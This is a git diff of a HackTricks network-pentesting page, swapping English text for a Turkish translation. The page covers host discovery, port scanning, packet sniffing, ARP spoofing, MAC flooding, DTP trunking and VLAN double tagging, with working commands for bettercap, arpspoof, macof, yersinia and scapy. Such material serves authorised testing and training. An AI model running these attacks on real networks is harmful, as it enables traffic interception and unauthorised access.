- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md index 1f4bb741f..500d9fae7 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/README.md +++ b/src/generic-methodologies-and-resources/pentesting-network/README.md @@ -2,83 +2,69 @@ {{#include ../../banners/hacktricks-training.md}} -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} -## Discovering hosts from the outside +## Dışarıdan hostları keşfetmek -This is going to be a **brief section** about how to find **IPs responding** from the **Internet**.\ -In this situation you have some **scope of IPs** (maybe even several **ranges**) and you just to find **which IPs are responding**. +Bu, **İnternet** üzerinden **yanıt veren IP'leri** bulma hakkında **kısa bir bölüm** olacak.\ +Bu durumda bazı **IP kapsamlarınız** (belki de birkaç **aralık**) var ve sadece **hangi IP'lerin yanıt verdiğini** bulmanız gerekiyor. ### ICMP -This is the **easiest** and **fastest** way to discover if a host is up or not.\ -You could try to send some **ICMP** packets and **expect responses**. The easiest way is just sending an **echo request** and expect from the response. You can do that using a simple `ping`or using `fping`for **ranges**.\ -You could also use **nmap** to send other types of ICMP packets (this will avoid filters to common ICMP echo request-response). - +Bu, bir hostun açık olup olmadığını keşfetmenin **en kolay** ve **en hızlı** yoludur.\ +Bazı **ICMP** paketleri göndermeyi deneyebilir ve **yanıt bekleyebilirsiniz**. En kolay yol, sadece bir **echo request** göndermek ve yanıtı beklemektir. Bunu basit bir `ping` kullanarak veya **aralıklar** için `fping` kullanarak yapabilirsiniz.\ +Ayrıca, diğer tür ICMP paketleri göndermek için **nmap** kullanabilirsiniz (bu, yaygın ICMP echo request-response filtrelerini atlatacaktır). ```bash ping -c 1 199.66.11.4 # 1 echo request to a host fping -g 199.66.11.0/24 # Send echo requests to ranges nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests ``` - ### TCP Port Discovery -It's very common to find that all kind of ICMP packets are being filtered. Then, all you can do to check if a host is up is **try to find open ports**. Each host has **65535 ports**, so, if you have a "big" scope you **cannot** test if **each port** of each host is open or not, that will take too much time.\ -Then, what you need is a **fast port scanner** ([masscan](https://github.com/robertdavidgraham/masscan)) and a list of the **ports more used:** - +Her türlü ICMP paketinin filtrelendiğini bulmak çok yaygındır. O zaman, bir hostun açık olup olmadığını kontrol etmek için yapabileceğiniz tek şey **açık portları bulmaya çalışmaktır**. Her hostun **65535 portu** vardır, bu nedenle "büyük" bir kapsamınız varsa, her hostun **her portunun** açık olup olmadığını test edemezsiniz, bu çok fazla zaman alır.\ +O zaman, ihtiyacınız olan şey **hızlı bir port tarayıcısı** ([masscan](https://github.com/robertdavidgraham/masscan)) ve **en çok kullanılan portların** bir listesidir: ```bash #Using masscan to scan top20ports of nmap in a /24 range (less than 5min) masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24 ``` +`nmap` ile bu adımı da gerçekleştirebilirsiniz, ancak daha yavaştır ve `nmap`'in hostları tanımlamada bazı sorunları vardır. -You could also perform this step with `nmap`, but it slower and somewhat `nmap`has problems identifying hosts up. - -### HTTP Port Discovery - -This is just a TCP port discovery useful when you want to **focus on discovering HTTP** **services**: +### HTTP Port Keşfi +Bu, **HTTP** **hizmetlerini keşfetmeye odaklanmak** istediğinizde faydalı olan bir TCP port keşfidir: ```bash masscan -p80,443,8000-8100,8443 199.66.11.0/24 ``` - ### UDP Port Discovery -You could also try to check for some **UDP port open** to decide if you should **pay more attention** to a **host.** As UDP services usually **don't respond** with **any data** to a regular empty UDP probe packet it is difficult to say if a port is being filtered or open. The easiest way to decide this is to send a packet related to the running service, and as you don't know which service is running, you should try the most probable based on the port number: - +Ayrıca, bir **host'a daha fazla dikkat edip etmeyeceğinizi** belirlemek için bazı **UDP portlarının açık** olup olmadığını kontrol etmeyi deneyebilirsiniz. UDP hizmetleri genellikle boş bir UDP prob paketiyle **hiçbir veri** ile **yanıt vermediğinden**, bir portun filtrelenip filtrelenmediğini veya açık olup olmadığını söylemek zordur. Bunu belirlemenin en kolay yolu, çalışan hizmetle ilgili bir paket göndermektir ve hangi hizmetin çalıştığını bilmediğiniz için, port numarasına dayalı olarak en olası olanı denemelisiniz: ```bash nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The -sV will make nmap test each possible known UDP service packet # The "--version-intensity 0" will make nmap only test the most probable ``` +Önceden önerilen nmap satırı, **/24** aralığındaki her hostta **en iyi 1000 UDP portunu** test edecektir, ancak bu bile **>20dk** sürecektir. **En hızlı sonuçlar** gerekiyorsa [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) kullanabilirsiniz: `./udp-proto-scanner.pl 199.66.11.53/24` Bu, bu **UDP probelerini** beklenen portlarına gönderecektir (bir /24 aralığı için bu sadece 1 dk sürecektir): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ -The nmap line proposed before will test the **top 1000 UDP ports** in every host inside the **/24** range but even only this will take **>20min**. If need **fastest results** you can use [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` This will send these **UDP probes** to their **expected port** (for a /24 range this will just take 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ - -### SCTP Port Discovery - +### SCTP Port Keşfi ```bash #Probably useless, but it's pretty fast, why not try it? nmap -T4 -sY -n --open -Pn ``` - ## Pentesting Wifi -Here you can find a nice guide of all the well known Wifi attacks at the time of the writing: +Burada yazıldığı dönemdeki tüm bilinen Wifi saldırılarının güzel bir kılavuzunu bulabilirsiniz: {{#ref}} ../pentesting-wifi/ {{#endref}} -## Discovering hosts from the inside +## İçeriden hostları keşfetmek -If you are inside the network one of the first things you will want to do is to **discover other hosts**. Depending on **how much noise** you can/want to do, different actions could be performed: +Ağ içindeyseniz, yapmak isteyeceğiniz ilk şeylerden biri **diğer hostları keşfetmek** olacaktır. **Ne kadar gürültü** yapabileceğinize/istemediğinize bağlı olarak, farklı eylemler gerçekleştirilebilir: -### Passive - -You can use these tools to passively discover hosts inside a connected network: +### Pasif +Bağlı bir ağ içindeki hostları pasif olarak keşfetmek için bu araçları kullanabilirsiniz: ```bash netdiscover -p p0f -i eth0 -p -o /tmp/p0f.log @@ -87,12 +73,10 @@ net.recon on/off #Read local ARP cache periodically net.show set net.show.meta true #more info ``` +### Aktif -### Active - -Note that the techniques commented in [_**Discovering hosts from the outside**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: - +[_**Dışarıdan hostları keşfetme**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) bölümünde bahsedilen teknikler burada da **uygulanabilir**.\ +Ancak, diğer hostlarla **aynı ağda** olduğunuz için **daha fazla şey** yapabilirsiniz: ```bash #ARP discovery nmap -sn #ARP Requests (Discover IPs) @@ -112,39 +96,35 @@ set net.probe.throttle 10 #10ms between probes sent (default=10) #IPv6 alive6 # Send a pingv6 to multicast. ``` +### Aktif ICMP -### Active ICMP +Dışarıdan hostları keşfetme ile ilgili yorumlanan tekniklerin (_**ICMP**_](./#icmp)) burada da **uygulanabileceğini** unutmayın.\ +Ancak, diğer hostlarla **aynı ağda** olduğunuz için **daha fazla şey** yapabilirsiniz: -Note that the techniques commented in _Discovering hosts from the outside_ ([_**ICMP**_](./#icmp)) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: - -- If you **ping** a **subnet broadcast address** the ping should be arrive to **each host** and they could **respond** to **you**: `ping -b 10.10.5.255` -- Pinging the **network broadcast address** you could even find hosts inside **other subnets**: `ping -b 255.255.255.255` -- Use the `-PE`, `-PP`, `-PM` flags of `nmap`to perform host discovery sending respectively **ICMPv4 echo**, **timestamp**, and **subnet mask requests:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` +- Eğer bir **alt ağ yayın adresine** **ping** atarsanız, ping **her hosta** ulaşmalı ve **size yanıt verebilirler**: `ping -b 10.10.5.255` +- **Ağ yayın adresine** ping atarak **diğer alt ağlardaki** hostları bile bulabilirsiniz: `ping -b 255.255.255.255` +- Host keşfi yapmak için `nmap`'in `-PE`, `-PP`, `-PM` bayraklarını kullanarak sırasıyla **ICMPv4 echo**, **zaman damgası** ve **alt ağ maskesi istekleri** gönderin: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` ### **Wake On Lan** -Wake On Lan is used to **turn on** computers through a **network message**. The magic packet used to turn on the computer is only a packet where a **MAC Dst** is provided and then it is **repeated 16 times** inside the same paket.\ -Then this kind of packets are usually sent in an **ethernet 0x0842** or in a **UDP packet to port 9**.\ -If **no \[MAC]** is provided, the packet is sent to **broadcast ethernet** (and the broadcast MAC will be the one being repeated). - +Wake On Lan, bilgisayarları bir **ağ mesajı** aracılığıyla **açmak için** kullanılır. Bilgisayarı açmak için kullanılan sihirli paket, yalnızca bir **MAC Dst** sağlanan ve ardından aynı paket içinde **16 kez tekrarlanan** bir pakettir.\ +Bu tür paketler genellikle **ethernet 0x0842** veya **UDP paketi ile port 9'a** gönderilir.\ +Eğer **hiçbir \[MAC]** sağlanmazsa, paket **yayın ethernet**'e gönderilir (ve yayın MAC, tekrarlanan MAC olacaktır). ```bash # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 ``` +## Hedefleri Tarama -## Scanning Hosts - -Once you have discovered all the IPs (external or internal) you want to scan in depth, different actions can be performed. +Derinlemesine taramak istediğiniz tüm IP'leri (harici veya dahili) keşfettikten sonra, farklı eylemler gerçekleştirilebilir. ### TCP -- **Open** port: _SYN --> SYN/ACK --> RST_ -- **Closed** port: _SYN --> RST/ACK_ -- **Filtered** port: _SYN --> \[NO RESPONSE]_ -- **Filtered** port: _SYN --> ICMP message_ - +- **Açık** port: _SYN --> SYN/ACK --> RST_ +- **Kapalı** port: _SYN --> RST/ACK_ +- **Filtrelenmiş** port: _SYN --> \[YANIT YOK]_ +- **Filtrelenmiş** port: _SYN --> ICMP mesajı_ ```bash # Nmap fast scan for the most 1000tcp ports used nmap -sV -sC -O -T4 -n -Pn -oA fastscan @@ -156,16 +136,14 @@ nmap -sV -sC -O -p- -n -Pn -oA fullscan #Bettercap Scan syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000 ``` - ### UDP -There are 2 options to scan an UDP port: +Bir UDP portunu taramak için 2 seçenek vardır: -- Send a **UDP packet** and check for the response _**ICMP unreachable**_ if the port is **closed** (in several cases ICMP will be **filtered** so you won't receive any information inf the port is close or open). -- Send a **formatted datagrams** to elicit a response from a **service** (e.g., DNS, DHCP, TFTP, and others, as listed in _nmap-payloads_). If you receive a **response**, then, the port is **open**. - -**Nmap** will **mix both** options using "-sV" (UDP scans are very slow), but notice that UDP scans are slower than TCP scans: +- **Kapalı** ise bir **UDP paketi** gönderin ve _**ICMP ulaşılmaz**_ yanıtını kontrol edin (birçok durumda ICMP **filtrelenebilir**, bu nedenle portun kapalı mı yoksa açık mı olduğuna dair herhangi bir bilgi almayacaksınız). +- Bir **hizmetten** (örneğin, DNS, DHCP, TFTP ve _nmap-payloads_ 'da listelenen diğerleri) yanıt almak için **formatlanmış datagramlar** gönderin. Eğer bir **yanıt** alırsanız, o zaman port **açık** demektir. +**Nmap**, "-sV" kullanarak her iki seçeneği de **karıştıracaktır** (UDP taramaları çok yavaştır), ancak UDP taramalarının TCP taramalarından daha yavaş olduğunu unutmayın: ```bash # Check if any of the most common udp services is running udp-proto-scanner.pl @@ -177,38 +155,34 @@ nmap -sU -sV -sC -n -F -T4 nmap -sU -sV --version-intensity 0 -n -T4 # You could use nmap to test all the UDP ports, but that will take a lot of time ``` +### SCTP Tarama -### SCTP Scan +**SCTP (Stream Control Transmission Protocol)**, **TCP (Transmission Control Protocol)** ve **UDP (User Datagram Protocol)** ile birlikte kullanılmak üzere tasarlanmıştır. Ana amacı, IP ağları üzerinden telefon verilerinin taşınmasını kolaylaştırmak ve **Signaling System 7 (SS7)**'de bulunan birçok güvenilirlik özelliğini yansıtmaktır. **SCTP**, SS7 sinyallerini IP ağları üzerinden taşımayı amaçlayan **SIGTRAN** protokol ailesinin temel bir bileşenidir. -**SCTP (Stream Control Transmission Protocol)** is designed to be used alongside **TCP (Transmission Control Protocol)** and **UDP (User Datagram Protocol)**. Its main purpose is to facilitate the transport of telephony data over IP networks, mirroring many of the reliability features found in **Signaling System 7 (SS7)**. **SCTP** is a core component of the **SIGTRAN** protocol family, which aims to transport SS7 signals over IP networks. - -The support for **SCTP** is provided by various operating systems, such as **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, and **VxWorks**, indicating its broad acceptance and utility in the field of telecommunication and networking. - -Two different scans for SCTP are offered by nmap: _-sY_ and _-sZ_ +**SCTP** desteği, **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** ve **VxWorks** gibi çeşitli işletim sistemleri tarafından sağlanmakta olup, telekomünikasyon ve ağ alanındaki geniş kabulünü ve faydasını göstermektedir. +nmap tarafından sunulan iki farklı SCTP taraması: _-sY_ ve _-sZ_ ```bash # Nmap fast SCTP scan nmap -T4 -sY -n -oA SCTFastScan # Nmap all SCTP scan nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ``` - -### IDS and IPS evasion +### IDS ve IPS kaçışı {{#ref}} ids-evasion.md {{#endref}} -### **More nmap options** +### **Daha fazla nmap seçeneği** {{#ref}} nmap-summary-esp.md {{#endref}} -### Revealing Internal IP Addresses - -**Misconfigured routers, firewalls, and network devices** sometimes respond to network probes using **nonpublic source addresses**. **tcpdump** can be utilized to identify packets received from private addresses during testing. Specifically, on Kali Linux, packets can be captured on the **eth2 interface**, which is accessible from the public Internet. It's important to note that if your setup is behind a NAT or a Firewall, such packets are likely to be filtered out. +### Dahili IP Adreslerini Açığa Çıkarma +**Yanlış yapılandırılmış yönlendiriciler, güvenlik duvarları ve ağ cihazları** bazen **kamusal olmayan kaynak adresleri** kullanarak ağ sorgularına yanıt verir. **tcpdump**, test sırasında özel adreslerden alınan paketleri tanımlamak için kullanılabilir. Özellikle, Kali Linux'ta, paketler **eth2 arayüzünde** yakalanabilir; bu arayüz kamu Internet'inden erişilebilir. Kurulumunuzun bir NAT veya Güvenlik Duvarı arkasında olduğunu belirtmek önemlidir; bu tür paketlerin muhtemelen filtreleneceği dikkate alınmalıdır. ```bash tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode @@ -216,30 +190,24 @@ listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64 IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64 ``` - ## Sniffing -Sniffing you can learn details of IP ranges, subnet sizes, MAC addresses, and hostnames by reviewing captured frames and packets. If the network is misconfigured or switching fabric under stress, attackers can capture sensitive material via passive network sniffing. +Sniffing ile IP aralıkları, alt ağ boyutları, MAC adresleri ve ana bilgisayar adları hakkında ayrıntılar öğrenebilirsiniz. Yakalanan çerçeveleri ve paketleri inceleyerek. Ağ yanlış yapılandırılmışsa veya anahtarlama yapısı stres altındaysa, saldırganlar pasif ağ sniffing ile hassas materyalleri yakalayabilir. -If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address. +Eğer bir anahtarlamalı Ethernet ağı düzgün yapılandırılmışsa, yalnızca yayın çerçevelerini ve MAC adresinize yönelik materyalleri göreceksiniz. ### TCPDump - ```bash sudo tcpdump -i udp port 53 #Listen to DNS request to discover what is searching the host tcpdump -i icmp #Listen to icmp packets sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" ``` - -One can, also, capture packets from a remote machine over an SSH session with Wireshark as the GUI in realtime. - +Birisi, ayrıca, Wireshark'ı GUI olarak kullanarak bir SSH oturumu üzerinden uzaktaki bir makineden paketleri gerçek zamanlı olarak yakalayabilir. ``` ssh user@ tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i - ssh @ tcpdump -i -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic ``` - ### Bettercap - ```bash net.sniff on net.sniff stats @@ -248,23 +216,21 @@ set net.sniff.local #If true it will consider packets from/to this computer, ot set net.sniff.filter #BPF filter for the sniffer (default=not arp) set net.sniff.regexp #If set only packets matching this regex will be considered ``` - ### Wireshark -Obviously. +Açıkça. -### Capturing credentials +### Kimlik bilgilerini yakalama -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. +Bir pcap veya canlı bir arayüzden kimlik bilgilerini ayrıştırmak için [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) gibi araçlar kullanabilirsiniz. -## LAN attacks +## LAN saldırıları -### ARP spoofing +### ARP sahtekarlığı -ARP Spoofing consist on sending gratuitous ARPResponses to indicate that the IP of a machine has the MAC of our device. Then, the victim will change the ARP table and will contact our machine every time it wants to contact the IP spoofed. +ARP Sahtekarlığı, bir makinenin IP'sinin cihazımızın MAC'ine sahip olduğunu belirtmek için gereksiz ARP Yanıtları göndermeyi içerir. Ardından, kurban ARP tablosunu değiştirecek ve IP sahtekarlığı yapmak istediğinde her seferinde cihazımıza başvuracaktır. #### **Bettercap** - ```bash arp.spoof on set arp.spoof.targets #Specific targets to ARP spoof (default=) @@ -272,37 +238,31 @@ set arp.spoof.whitelist #Specific targets to skip while spoofing set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false) set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false) ``` - #### **Arpspoof** - ```bash echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -t 192.168.1.1 192.168.1.2 arpspoof -t 192.168.1.2 192.168.1.1 ``` +### MAC Flooding - CAM taşması -### MAC Flooding - CAM overflow - -Overflow the switch’s CAM table sending a lot of packets with different source mac address. When the CAM table is full the switch start behaving like a hub (broadcasting all the traffic). - +Anahtarın CAM tablosunu farklı kaynak MAC adresleriyle birçok paket göndererek taşır. CAM tablosu dolduğunda, anahtar bir hub gibi davranmaya başlar (tüm trafiği yayar). ```bash macof -i ``` +Modern anahtarlar bu güvenlik açığını düzeltmiştir. -In modern switches this vulnerability has been fixed. +### 802.1Q VLAN / DTP Saldırıları -### 802.1Q VLAN / DTP Attacks +#### Dinamik Trunking -#### Dynamic Trunking +**Dinamik Trunking Protokolü (DTP)**, trunking için otomatik bir sistem sağlamak amacıyla bir bağlantı katmanı protokolü olarak tasarlanmıştır ve anahtarların trunk moduna (Trunk) veya non-trunk moduna otomatik olarak port seçmelerine olanak tanır. **DTP**'nin kullanımı genellikle suboptimal ağ tasarımının bir göstergesi olarak görülür ve trunk'ların yalnızca gerektiğinde manuel olarak yapılandırılmasının ve uygun belgelerin sağlanmasının önemini vurgular. -The **Dynamic Trunking Protocol (DTP)** is designed as a link layer protocol to facilitate an automatic system for trunking, allowing switches to automatically select ports for trunk mode (Trunk) or non-trunk mode. The deployment of **DTP** is often seen as indicative of suboptimal network design, underscoring the importance of manually configuring trunks only where necessary and ensuring proper documentation. +Varsayılan olarak, anahtar portları Dinamik Otomatik modda çalışacak şekilde ayarlanmıştır, bu da komşu bir anahtar tarafından tetiklendiğinde trunking başlatmaya hazır oldukları anlamına gelir. Bir pentester veya saldırgan anahtara bağlandığında ve bir DTP Desirable çerçevesi gönderdiğinde, bir güvenlik sorunu ortaya çıkar; bu, portun trunk moduna girmesine neden olur. Bu eylem, saldırgana STP çerçeve analizi yoluyla VLAN'ları listeleme ve sanal arayüzler kurarak VLAN segmentasyonunu aşma imkanı tanır. -By default, switch ports are set to operate in Dynamic Auto mode, meaning they are ready to initiate trunking if prompted by a neighboring switch. A security concern arises when a pentester or attacker connects to the switch and sends a DTP Desirable frame, compelling the port to enter trunk mode. This action enables the attacker to enumerate VLANs through STP frame analysis and circumvent VLAN segmentation by setting up virtual interfaces. - -The presence of DTP in many switches by default can be exploited by adversaries to mimic a switch's behavior, thereby gaining access to traffic across all VLANs. The script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) is utilized to monitor an interface, revealing whether a switch is in Default, Trunk, Dynamic, Auto, or Access mode—the latter being the only configuration immune to VLAN hopping attacks. This tool assesses the switch's vulnerability status. - -Should network vulnerability be identified, the _**Yersinia**_ tool can be employed to "enable trunking" via the DTP protocol, allowing for the observation of packets from all VLANs. +Birçok anahtarda varsayılan olarak DTP'nin bulunması, düşmanların bir anahtarın davranışını taklit etmesine ve böylece tüm VLAN'lar üzerindeki trafiğe erişim sağlamasına olanak tanıyabilir. [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) betiği, bir arayüzü izlemek için kullanılır ve bir anahtarın Varsayılan, Trunk, Dinamik, Otomatik veya Erişim modunda olup olmadığını gösterir; sonuncusu VLAN hopping saldırılarına karşı tek koruma sağlayan yapılandırmadır. Bu araç, anahtarın güvenlik açığı durumunu değerlendirir. +Ağ güvenlik açığı tespit edilirse, _**Yersinia**_ aracı DTP protokolü aracılığıyla "trunking'i etkinleştirmek" için kullanılabilir ve bu da tüm VLAN'lardan paketlerin gözlemlenmesine olanak tanır. ```bash apt-get install yersinia #Installation sudo apt install kali-linux-large #Another way to install it in Kali @@ -313,26 +273,22 @@ yersinia -I #Interactive mode yersinia -G #For graphic mode ``` - ![](<../../images/image (269).png>) -To enumerate the VLANs it's also possible to generate the DTP Desirable frame with the script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. D**o not interrupt the script under any circumstances. It injects DTP Desirable every three seconds. **The dynamically created trunk channels on the switch only live for five minutes. After five minutes, the trunk falls off.** - +VLAN'ları listelemek için, [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** ile DTP Desirable çerçevesi oluşturmak da mümkündür. **Scripti hiçbir koşulda durdurmayın. Her üç saniyede bir DTP Desirable enjekte eder. **Anahtardaki dinamik olarak oluşturulan trunk kanalları yalnızca beş dakika boyunca canlı kalır. Beş dakikadan sonra trunk düşer.** ``` sudo python3 DTPHijacking.py --interface eth0 ``` +**Access/Desirable (0x03)**, DTP çerçevesinin Arzu Edilen türde olduğunu belirtir, bu da porta Trunk moduna geçmesini söyler. Ve **802.1Q/802.1Q (0xa5)**, **802.1Q** kapsama türünü belirtir. -I would like to point out that **Access/Desirable (0x03)** indicates that the DTP frame is of the Desirable type, which tells the port to switch to Trunk mode. And **802.1Q/802.1Q (0xa5**) indicates the **802.1Q** encapsulation type. - -By analyzing the STP frames, **we learn about the existence of VLAN 30 and VLAN 60.** +STP çerçevelerini analiz ederek, **VLAN 30 ve VLAN 60'ın varlığı hakkında bilgi ediniriz.**
-#### Attacking specific VLANs - -Once you known VLAN IDs and IPs values, you can **configure a virtual interface to attack a specific VLAN**.\ -If DHCP is not available, then use _ifconfig_ to set a static IP address. +#### Belirli VLAN'lara Saldırma +VLAN kimliklerini ve IP değerlerini bildiğinizde, **belirli bir VLAN'a saldırmak için sanal bir arayüz yapılandırabilirsiniz**.\ +Eğer DHCP mevcut değilse, o zaman _ifconfig_ kullanarak statik bir IP adresi ayarlayın. ``` root@kali:~# modprobe 8021q root@kali:~# vconfig add eth1 250 @@ -341,13 +297,13 @@ root@kali:~# dhclient eth1.250 Reloading /etc/samba/smb.conf: smbd only. root@kali:~# ifconfig eth1.250 eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65 - inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 - inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link - UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 - RX packets:19 errors:0 dropped:0 overruns:0 frame:0 - TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:0 - RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) +inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 +inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link +UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 +RX packets:19 errors:0 dropped:0 overruns:0 frame:0 +TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 +collisions:0 txqueuelen:0 +RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB) root@kali:~# arp-scan -I eth1.250 10.121.5.0/24 ``` @@ -365,31 +321,28 @@ sudo vconfig add eth0 30 sudo ip link set eth0.30 up sudo dhclient -v eth0.30 ``` +#### Otomatik VLAN Hopper -#### Automatic VLAN Hopper +Tartışılan saldırı olan **Dinamik Trunking ve sanal arayüzler oluşturma ile diğer VLAN'lerdeki hostları keşfetme** işlemleri, araç tarafından **otomatik olarak gerçekleştirilir**: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) -The discussed attack of **Dynamic Trunking and creating virtual interfaces an discovering hosts inside** other VLANs are **automatically performed** by the tool: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) +#### Çift Etiketleme -#### Double Tagging +Eğer bir saldırgan **kurban hostun MAC, IP ve VLAN ID değerlerini** biliyorsa, **çift etiketli bir çerçeve** oluşturmayı deneyebilir ve kendi belirlenen VLAN'ı ile kurbanın VLAN'ını kullanarak bir paket gönderebilir. **Kurban geri bağlanamayacağı için**, **saldırgan için en iyi seçenek UDP üzerinden iletişim kurmaktır**; bu, bazı ilginç eylemler gerçekleştirebilen protokollerle (SNMP gibi) yapılabilir. -If an attacker knows the value of the **MAC, IP and VLAN ID of the victim host**, he could try to **double tag a frame** with its designated VLAN and the VLAN of the victim and send a packet. As the **victim won't be able to connect back** with the attacker, so the **best option for the attacker is communicate via UDP** to protocols that can perform some interesting actions (like SNMP). - -Another option for the attacker is to launch a **TCP port scan spoofing an IP controlled by the attacker and accessible by the victim** (probably through internet). Then, the attacker could sniff in the second host owned by him if it receives some packets from the victim. +Saldırgan için bir diğer seçenek, **saldırgan tarafından kontrol edilen ve kurban tarafından erişilebilen bir IP'yi taklit ederek TCP port taraması başlatmaktır** (muhtemelen internet üzerinden). Ardından, saldırgan, kurbanın gönderdiği bazı paketleri alıp almadığını görmek için kendisine ait ikinci hostta dinleme yapabilir. ![](<../../images/image (190).png>) -To perform this attack you could use scapy: `pip install scapy` - +Bu saldırıyı gerçekleştirmek için scapy kullanabilirsiniz: `pip install scapy` ```python from scapy.all import * # Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker) packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP() sendp(packet) ``` - #### Lateral VLAN Segmentation Bypass -If you have **access to a switch that you are directly connected to**, you have the ability to **bypass VLAN segmentation** within the network. Simply **switch the port to trunk mode** (otherwise known as trunk), create virtual interfaces with the IDs of the target VLANs, and configure an IP address. You can try requesting the address dynamically (DHCP) or you can configure it statically. It depends on the case. +Eğer **doğrudan bağlı olduğunuz bir anahtara erişiminiz varsa**, ağ içinde **VLAN segmentasyonunu atlama** yeteneğine sahip olursunuz. Sadece **portu trunk moduna geçirin** (diğer adıyla trunk), hedef VLAN'ların kimlikleri ile sanal arayüzler oluşturun ve bir IP adresi yapılandırın. Adresi dinamik olarak (DHCP) talep etmeyi deneyebilirsiniz veya statik olarak yapılandırabilirsiniz. Duruma bağlıdır. {{#ref}} lateral-vlan-segmentation-bypass.md @@ -397,143 +350,126 @@ lateral-vlan-segmentation-bypass.md #### Layer 3 Private VLAN Bypass -In certain environments, such as guest wireless networks, **port isolation (also known as private VLAN)** settings are implemented to prevent clients connected to a wireless access point from directly communicating with each other. However, a technique has been identified that can circumvent these isolation measures. This technique exploits either the lack of network ACLs or their improper configuration, enabling IP packets to be routed through a router to reach another client on the same network. +Belirli ortamlarda, misafir kablosuz ağlar gibi, **port izolasyonu (özel VLAN olarak da bilinir)** ayarları, bir kablosuz erişim noktasına bağlı istemcilerin doğrudan birbirleriyle iletişim kurmasını önlemek için uygulanır. Ancak, bu izolasyon önlemlerini aşabilen bir teknik tanımlanmıştır. Bu teknik, ya ağ ACL'lerinin yokluğundan ya da yanlış yapılandırılmasından yararlanarak, IP paketlerinin bir yönlendirici üzerinden başka bir istemciye ulaşmasını sağlar. -The attack is executed by creating a **packet that carries the IP address of the destination client but with the router's MAC address**. This causes the router to mistakenly forward the packet to the target client. This approach is similar to that used in Double Tagging Attacks, where the ability to control a host accessible to the victim 